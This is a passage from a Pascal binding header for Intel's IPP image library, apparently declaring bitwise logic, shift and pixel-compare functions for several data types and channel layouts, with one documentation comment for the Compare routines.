function ippiOr_32s_C3IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_32s_C4IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_32s_AC4IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; value : Ipp32s ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; const value : Ipp32s_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; const value : Ipp32s_4 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_32s_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; const value : Ipp32s_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_32s_C1IR( value : Ipp32s ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_32s_C3IR(const value : Ipp32s_3 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_32s_C4IR(const value : Ipp32s_4 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_32s_AC4IR(const value : Ipp32s_3 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_8u_AC4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_8u_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_8u_C3IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_8u_C4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_8u_AC4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_8u_C1IR( value : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_8u_C3IR(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_8u_C4IR(const value : Ipp8u_4 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_8u_AC4IR(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_16u_AC4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_16u_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_16u_C3IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_16u_C4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_16u_AC4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_16u_C1IR( value : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_16u_C3IR(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_16u_C4IR(const value : Ipp16u_4 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_16u_AC4IR(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_32s_C1R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_32s_C3R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_32s_C4R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_32s_AC4R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_32s_C1IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_32s_C3IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_32s_C4IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXor_32s_AC4IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; value : Ipp32s ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; const value : Ipp32s_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; const value : Ipp32s_4 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_32s_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; const value : Ipp32s_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_32s_C1IR( value : Ipp32s ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_32s_C3IR(const value : Ipp32s_3 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_32s_C4IR(const value : Ipp32s_4 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiXorC_32s_AC4IR(const value : Ipp32s_3 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiNot_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiNot_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiNot_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiNot_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiNot_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiNot_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiNot_8u_C4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiNot_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp32u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp32u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_8u_C1IR( value : Ipp32u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_8u_C3IR( value : Ipp32u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_8u_C4IR( value : Ipp32u_4 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_8u_AC4IR( value : Ipp32u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp32u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp32u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_16u_C1IR( value : Ipp32u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_16u_C3IR( value : Ipp32u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_16u_C4IR( value : Ipp32u_4 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_16u_AC4IR( value : Ipp32u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; value : Ipp32u ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; value : Ipp32u_4 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_32s_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_32s_C1IR( value : Ipp32u ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_32s_C3IR( value : Ipp32u_3 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_32s_C4IR( value : Ipp32u_4 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLShiftC_32s_AC4IR( value : Ipp32u_3 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp32u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp32u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_8u_C1IR( value : Ipp32u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_8u_C3IR( value : Ipp32u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_8u_C4IR( value : Ipp32u_4 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_8u_AC4IR( value : Ipp32u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp32u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp32u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16u_C1IR( value : Ipp32u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16u_C3IR( value : Ipp32u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16u_C4IR( value : Ipp32u_4 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16u_AC4IR( value : Ipp32u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; value : Ipp32u ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; value : Ipp32u_4 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16s_C1IR( value : Ipp32u ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16s_C3IR( value : Ipp32u_3 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16s_C4IR( value : Ipp32u_4 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_16s_AC4IR( value : Ipp32u_3 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; value : Ipp32u ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; value : Ipp32u_4 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_32s_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; value : Ipp32u_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_32s_C1IR( value : Ipp32u ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_32s_C3IR( value : Ipp32u_3 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_32s_C4IR( value : Ipp32u_4 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRShiftC_32s_AC4IR( value : Ipp32u_3 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Compare Operations
{ ----------------------------------------------------------------------------
Name: ippiCompare
ippiCompareC
Purpose: Compares pixel values of two images, or pixel values of an image to a constant
value using the following compare conditions: <, <=, ==, >, >= ;
Names: ippiCompareEqualEps
ippiCompareEqualEpsC
Purpose: Compares 32f images for being equal, or equal to a given value within given tolerance
Context:
Returns: IppStatus
ippStsNoErr No errors
ippStsNullPtrErr One of the pointers is NULL
ippStsStepErr One of the step values is less than or equal to zero
ippStsSizeErr roiSize has a field with zero or negative value
ippStsEpsValErr eps is negative
Parameters:
pSrc1 Pointer to the first source image;
src1Step Step through the first source image;
pSrc2 Pointer to the second source image data;
src2Step Step through the second source image;
pDst Pointer to destination image data;
dstStep Step in destination image;
roiSize Size of the ROI;
ippCmpOp Compare operation to be used
value Value (array of values for multi-channel image) to compare
each pixel to
eps The tolerance value
Notes:
}
function ippiCompare_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_8u_AC4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_16s_C1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_16s_C3R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_16s_AC4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_16s_C4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; value : Ipp16s ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_16u_AC4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
